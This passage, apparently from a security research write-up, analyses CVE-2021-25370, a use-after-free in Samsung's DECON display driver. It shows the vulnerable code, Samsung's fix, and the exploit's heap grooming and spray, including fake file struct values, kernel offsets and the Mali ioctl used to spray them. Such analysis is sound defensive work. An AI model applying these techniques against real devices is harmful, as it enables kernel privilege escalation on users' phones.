<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> state </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> win_data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">config</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c4">i</span><span class="vdnyYxSRCi-c0">].</span><span class="vdnyYxSRCi-c4">state</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> rel_fence </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">state </span><span class="vdnyYxSRCi-c0">==</span><span class="vdnyYxSRCi-c4"> DECON_WIN_STATE_BUFFER</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">rel_fence </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> decon_get_valid_fd</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">();</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">rel_fence </span><span class="vdnyYxSRCi-c0"><</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon_err</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"%s: failed to get unused fd\n"</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> __func__</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">goto</span><span class="vdnyYxSRCi-c4"> err</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">fd_install</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">rel_fence</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> get_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">sync_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> win_data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">config</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c4">i</span><span class="vdnyYxSRCi-c0">].</span><span class="vdnyYxSRCi-c4">rel_fence </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> rel_fence</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">err</span><span class="vdnyYxSRCi-c0">:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">while</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">i</span><span class="vdnyYxSRCi-c0">--</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">></span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">win_data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">config</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c4">i</span><span class="vdnyYxSRCi-c0">].</span><span class="vdnyYxSRCi-c4">state </span><span class="vdnyYxSRCi-c0">==</span><span class="vdnyYxSRCi-c4"> DECON_WIN_STATE_BUFFER</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> put_unused_fd</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">win_data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">config</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c4">i</span><span class="vdnyYxSRCi-c0">].</span><span class="vdnyYxSRCi-c4">rel_fence</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> win_data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">config</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c4">i</span><span class="vdnyYxSRCi-c0">].</span><span class="vdnyYxSRCi-c4">rel_fence </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c2">decon_create_release_fences</span><span> gets a new fd, but then associates that new fd with the freed file struct, </span><span class="vdnyYxSRCi-c2">sync_file->file,</span><span> in the call to </span><span class="vdnyYxSRCi-c2">fd_install</span><span class="vdnyYxSRCi-c7">.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>When </span><span class="vdnyYxSRCi-c2">decon_set_win_config</span><span> returns, </span><span class="vdnyYxSRCi-c2">retire_fence</span><span> is the closed fd that points to the freed file struct and </span><span class="vdnyYxSRCi-c2">rel_fence</span><span class="vdnyYxSRCi-c7"> is the open fd that points to the freed file struct.</span></p><h3 class="vdnyYxSRCi-c8 vdnyYxSRCi-c52" id="h.k6qkjz8un3r0"><span class="vdnyYxSRCi-c33 vdnyYxSRCi-c42">Fixing the vulnerability</span></h3>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Samsung fixed this use-after-free in March 2021 as CVE-2021-25370. The fix was to move the call to </span><span class="vdnyYxSRCi-c2">fd_install</span><span> in </span><span class="vdnyYxSRCi-c2">decon_set_win_config</span><span> to the latest possible point in the function after the call to </span><span class="vdnyYxSRCi-c2">decon_create_release_fences</span><span class="vdnyYxSRCi-c7">.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.1c8f2a2ff722387482b98ebe34bbd0555192a9e2"></a><a id="t.20"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">num_of_window</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c29">-</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c29"> fd_install</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c29">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c29">win_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c29">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c29">retire_fence</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c29">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c29"> sync_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c29">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c29">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c29">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon_create_release_fences</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> win_data</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> sync_file</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#if !defined(CONFIG_SUPPORT_LEGACY_FENCE)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> regs</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">retire_fence </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> dma_fence_get</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">sync_file</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">fence</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#endif</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon_hiber_block</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> mutex_lock</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">up</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> list_add_tail</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">regs</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">list</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">up</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">list</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">+</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> atomic_inc</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">(&</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">decon</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">up</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">.</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">remaining_frame</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">update_regs_list_cnt</span><span class="vdnyYxSRCi-c0">++;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">+</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> win_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">extra</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">.</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">remained_frames </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> atomic_read</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">(&</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">decon</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">up</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">.</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">remaining_frame</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> mutex_unlock</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">up</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kthread_queue_work</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">up</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">worker</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">up</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">work</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">+</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">/*</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ * The code is moved here because the DPU driver may get a wrong fd</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ * through the released file pointer,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ * if the user(HWC) closes the fd and releases the file pointer.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ *</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ * Since the user land can use fd from this point/time,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ * it can be guaranteed to use an unreleased file pointer</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ * when creating a rel_fence in decon_create_release_fences(...)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c15">+ */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">+</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c15">if</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">num_of_window</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">+</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> fd_install</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">win_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">retire_fence</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15"> sync_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c15">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c15">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> mutex_unlock</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">decon</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c0">);</span></p></td></tr></table><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.3x34vnbxlb65"><span class="vdnyYxSRCi-c16">Heap Grooming and Spray</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>To groom the heap the exploit first opens and closes 30,000+ files using </span><span class="vdnyYxSRCi-c2">memfd_create</span><span>. Then, the exploit sprays the </span><span>heap</span><span class="vdnyYxSRCi-c7"> with fake file structs. On this version of the Samsung kernel, the file struct is 0x140 bytes. In these new, fake file structs, the exploit sets four of the members:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.a0f322910268bcdf319b3b8a5c5329726f92499f"></a><a id="t.21"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">fake_file</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">f_u </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x1010101</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">fake_file</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">f_op </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> kaddr </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x2071B0</span><span class="vdnyYxSRCi-c0">+</span><span class="vdnyYxSRCi-c13">0x1094E80</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">fake_file</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">f_count </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x7F</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">fake_file</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">private_data </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4">addr_limit_ptr</span><span class="vdnyYxSRCi-c0">;</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The </span><span class="vdnyYxSRCi-c2">f_op</span><span> member is set to the </span><span class="vdnyYxSRCi-c2">signalfd_op</span><span> for reasons we</span><span> will cover below in the “Overwriting the addr_limit” section. </span><span class="vdnyYxSRCi-c2">kaddr</span><span> is the address leaked using vulnerability #2 described previously. The </span><span class="vdnyYxSRCi-c2">addr_limit_ptr</span><span> was calculated by adding 8 to the </span><span class="vdnyYxSRCi-c2">task_struct</span><span class="vdnyYxSRCi-c7"> address also leaked using vulnerability #2.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit sprays 25 of these structs across the </span><span>heap</span><span> using the </span><span class="vdnyYxSRCi-c2">MEM_PROFILE_ADD</span><span class="vdnyYxSRCi-c7"> ioctl in the Mali driver. </span></p><a id="t.f09c2146baf213427f9b780c78be6f03204fa8b6"></a><a id="t.22"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">/**</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @buffer: Pointer to the information</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @len: Length</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @padding: Padding</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> *</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * The data provided is accessible through a debugfs file</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_ioctl_mem_profile_add </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> __u64 buffer</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> __u32 len</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> __u32 padding</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#define</span><span class="vdnyYxSRCi-c4"> KBASE_ioctl_MEM_PROFILE_ADD </span><span class="vdnyYxSRCi-c0">\</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> _IOW</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">KBASE_ioctl_TYPE</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">27</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_ioctl_mem_profile_add</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">static</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> kbase_api_mem_profile_add</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_context </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_ioctl_mem_profile_add </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">buf</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> err</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">len </span><span class="vdnyYxSRCi-c0">></span><span class="vdnyYxSRCi-c4"> KBASE_MEM_PROFILE_MAX_BUF_SIZE</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> dev_err</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">kbdev</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">dev</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"mem_profile_add: buffer too big\n"</span><span class="vdnyYxSRCi-c0">);</span></p>
